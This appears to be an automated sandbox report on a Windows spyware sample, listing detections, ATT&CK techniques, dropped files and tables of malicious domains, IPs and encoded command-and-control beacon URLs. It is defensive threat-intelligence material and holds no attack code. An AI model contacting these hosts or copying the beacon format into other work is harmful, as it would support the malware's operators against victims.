Source: Yara match	File source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A0A8E listen,	0_2_058A0A8E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A0E9E bind,	0_2_058A0E9E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A0A50 listen,	0_2_058A0A50
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A0E6B bind,	0_2_058A0E6B

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Access Token Manipulation1	Masquerading1	OS Credential Dumping	Query Registry1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Process Injection612	Disable or Modify Tools1	LSASS Memory	Security Software Discovery331	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Scheduled Task/Job1	Virtualization/Sandbox Evasion41	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Virtualization/Sandbox Evasion41	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection612	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information4	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing3	Proc Filesystem	System Network Configuration Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	File and Directory Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Information Discovery112	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
08917506_by_Libranalysis.exe	24%	Virustotal		Browse
08917506_by_Libranalysis.exe	17%	ReversingLabs	ByteCode-MSIL.Spyware.Noon
08917506_by_Libranalysis.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\OfCxSfBf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\OfCxSfBf.exe	17%	ReversingLabs	ByteCode-MSIL.Spyware.Noon

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.08917506_by_Libranalysis.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
genialnetero.com	0%	Virustotal		Browse
firstcoastelope.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/M	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.comceco	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/2	0%	Avira URL Cloud	safe
http://www.thaihuay88.com/o86d/?W6jDfD=Zr1mHD0UzvWCQcI2JlGAeokzkFEIblHMxqeZtw3W9dCQQ7exnTCb8lR/2qgknbIFYyB/eFrcFw==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
https://www.sherylabrahamphotography.com/o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/Y0r:	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.marielivet.com/o86d/?W6jDfD=PL9u7p4v7hn5T83wCAG42BUGAPPNW4v8+s1TFKrmIVkrOUDjB/r4wvcv+gOAAG+Oa4qYtq3B7Q==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.firstcoastelope.com/o86d/?W6jDfD=LOco70LpFY5umcR4dQY6Ck5isx6bsPxuRuPfG/JQuVwPWdFiKckkP6tLRm3hZqsbjizE9R3VWg==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/2	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/2	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/2	0%	URL Reputation	safe
http://www.cinmax.xyz/o86d/?W6jDfD=FLq1m09lMNVeUGxb2EGlpEcYOBglVjP6VclDGdRBVwR1mwk4Bp+oxJyzVgRWjmk7leVMWGvpeQ==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.churchsw.org/church-projector-project	0%	Avira URL Cloud	safe
http://www.fontbureau.comaa	0%	Avira URL Cloud	safe
http://www.joycasino-2020.club/o86d/?W6jDfD=sTrQNZETbqohgMY0G3QDWOyfMZqAyHA57kuO1l/GbTBT7+5tNjLfMqbR0u4OJ3a+5b59BonIRA==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.website-bazar.com/o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k+L08OvZwr0NYVY1MAp4q6WCjDapjCg57Vf4Q==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/W	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/W	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/W	0%	URL Reputation	safe
http://www.genialnetero.com/o86d/?W6jDfD=ciPSY9IHIiBMUeM+AHa6rnkVhX0NcoOlsc17DR+fEw9UxF+XyC1njkrt1st9cFa0q3XsiD0AOg==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/M	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/M	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/M	0%	URL Reputation	safe
http://www.churchsw.org/repository/Bibles/	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/H	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/H	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/H	0%	URL Reputation	safe
http://www.tiro.comlic	0%	URL Reputation	safe
http://www.tiro.comlic	0%	URL Reputation	safe
http://www.tiro.comlic	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htmp	0%	Avira URL Cloud	safe
http://www.carterandcone.comde	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
www.evrbrite.com/o86d/	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/;	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.blueberry-intl.com/o86d/?W6jDfD=lH+NNz2eaU5LSk/yemMXIWDwl3fMAuCKISb0DcDmH6anXfUVh7p155egYD4l1a4C4v8/cW+zhg==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.sherylabrahamphotography.com/o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4HvmT9bEqgnu31MbrCbNdKakV5eJA==&Yn=ybdHh8KP02GTtb	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/x	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/x	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/x	0%	URL Reputation	safe
http://www.zhongyicts.com.cna	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/s	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/s	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/s	0%	URL Reputation	safe
https://www.website-bazar.com/o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.joycasino-2020.club	185.231.69.84	true	true		unknown
genialnetero.com	162.241.62.33	true	true	0%, Virustotal, Browse	unknown
firstcoastelope.com	67.222.39.83	true	true	0%, Virustotal, Browse	unknown
arpinaindustriesllc.com	162.0.232.119	true	true		unknown
www.cinmax.xyz	199.192.27.68	true	true		unknown
blueberry-intl.com	34.102.136.180	true	false		unknown
shops.myshopify.com	23.227.38.74	true	true		unknown
sherylabrahamphotography.com	192.0.78.24	true	true		unknown
www.thaihuay88.com	206.189.46.186	true	true		unknown
website-bazar.com	198.54.115.5	true	true		unknown
www.morumi.site	unknown	unknown	true		unknown
www.firstcoastelope.com	unknown	unknown	true		unknown
www.sherylabrahamphotography.com	unknown	unknown	true		unknown
www.recruit-japan-hcm.com	unknown	unknown	true		unknown
www.arpinaindustriesllc.com	unknown	unknown	true		unknown
www.genialnetero.com	unknown	unknown	true		unknown
www.evrbrite.com	unknown	unknown	true		unknown
www.website-bazar.com	unknown	unknown	true		unknown
www.marielivet.com	unknown	unknown	true		unknown
www.blueberry-intl.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.thaihuay88.com/o86d/?W6jDfD=Zr1mHD0UzvWCQcI2JlGAeokzkFEIblHMxqeZtw3W9dCQQ7exnTCb8lR/2qgknbIFYyB/eFrcFw==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown
http://www.marielivet.com/o86d/?W6jDfD=PL9u7p4v7hn5T83wCAG42BUGAPPNW4v8+s1TFKrmIVkrOUDjB/r4wvcv+gOAAG+Oa4qYtq3B7Q==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown
http://www.firstcoastelope.com/o86d/?W6jDfD=LOco70LpFY5umcR4dQY6Ck5isx6bsPxuRuPfG/JQuVwPWdFiKckkP6tLRm3hZqsbjizE9R3VWg==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown
http://www.cinmax.xyz/o86d/?W6jDfD=FLq1m09lMNVeUGxb2EGlpEcYOBglVjP6VclDGdRBVwR1mwk4Bp+oxJyzVgRWjmk7leVMWGvpeQ==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown
http://www.joycasino-2020.club/o86d/?W6jDfD=sTrQNZETbqohgMY0G3QDWOyfMZqAyHA57kuO1l/GbTBT7+5tNjLfMqbR0u4OJ3a+5b59BonIRA==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown
http://www.website-bazar.com/o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k+L08OvZwr0NYVY1MAp4q6WCjDapjCg57Vf4Q==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown
http://www.genialnetero.com/o86d/?W6jDfD=ciPSY9IHIiBMUeM+AHa6rnkVhX0NcoOlsc17DR+fEw9UxF+XyC1njkrt1st9cFa0q3XsiD0AOg==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown
www.evrbrite.com/o86d/	true	Avira URL Cloud: safe	low
http://www.blueberry-intl.com/o86d/?W6jDfD=lH+NNz2eaU5LSk/yemMXIWDwl3fMAuCKISb0DcDmH6anXfUVh7p155egYD4l1a4C4v8/cW+zhg==&Yn=ybdHh8KP02GTtb	false	Avira URL Cloud: safe	unknown
http://www.sherylabrahamphotography.com/o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4HvmT9bEqgnu31MbrCbNdKakV5eJA==&Yn=ybdHh8KP02GTtb	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/M	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.comceco	08917506_by_Libranalysis.exe, 00000000.00000002.253501338.0000000005BB0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/2	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.com	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.sherylabrahamphotography.com/o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4	ipconfig.exe, 0000000F.00000002.499188275.0000000003712000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/Y0r:	08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/2	08917506_by_Libranalysis.exe, 00000000.00000003.230603893.0000000005BB9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.churchsw.org/church-projector-project	08917506_by_Libranalysis.exe	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comaa	08917506_by_Libranalysis.exe, 00000000.00000002.253501338.0000000005BB0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000007.00000000.272184398.0000000006840000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/W	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/M	08917506_by_Libranalysis.exe, 00000000.00000003.230603893.0000000005BB9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.churchsw.org/repository/Bibles/	08917506_by_Libranalysis.exe	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/H	08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.comlic	08917506_by_Libranalysis.exe, 00000000.00000003.230287588.0000000005BCB000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htmp	08917506_by_Libranalysis.exe, 00000000.00000002.249681781.0000000001AA7000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comde	08917506_by_Libranalysis.exe, 00000000.00000003.230294482.0000000005BC1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/;	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/	08917506_by_Libranalysis.exe, 00000000.00000003.229924216.0000000005BC8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/x	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.zhongyicts.com.cna	08917506_by_Libranalysis.exe, 00000000.00000003.230081674.0000000005BC4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/s	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.website-bazar.com/o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k	ipconfig.exe, 0000000F.00000002.499188275.0000000003712000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/)	08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/p	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/a	08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.comic	08917506_by_Libranalysis.exe, 00000000.00000003.230287588.0000000005BCB000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/_	08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.231.69.84	www.joycasino-2020.club	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
192.0.78.24	sherylabrahamphotography.com	United States	2635	AUTOMATTICUS	true
206.189.46.186	www.thaihuay88.com	United States	14061	DIGITALOCEAN-ASNUS	true
199.192.27.68	www.cinmax.xyz	United States	22612	NAMECHEAP-NETUS	true
162.241.62.33	genialnetero.com	United States	46606	UNIFIEDLAYER-AS-1US	true
198.54.115.5	website-bazar.com	United States	22612	NAMECHEAP-NETUS	true
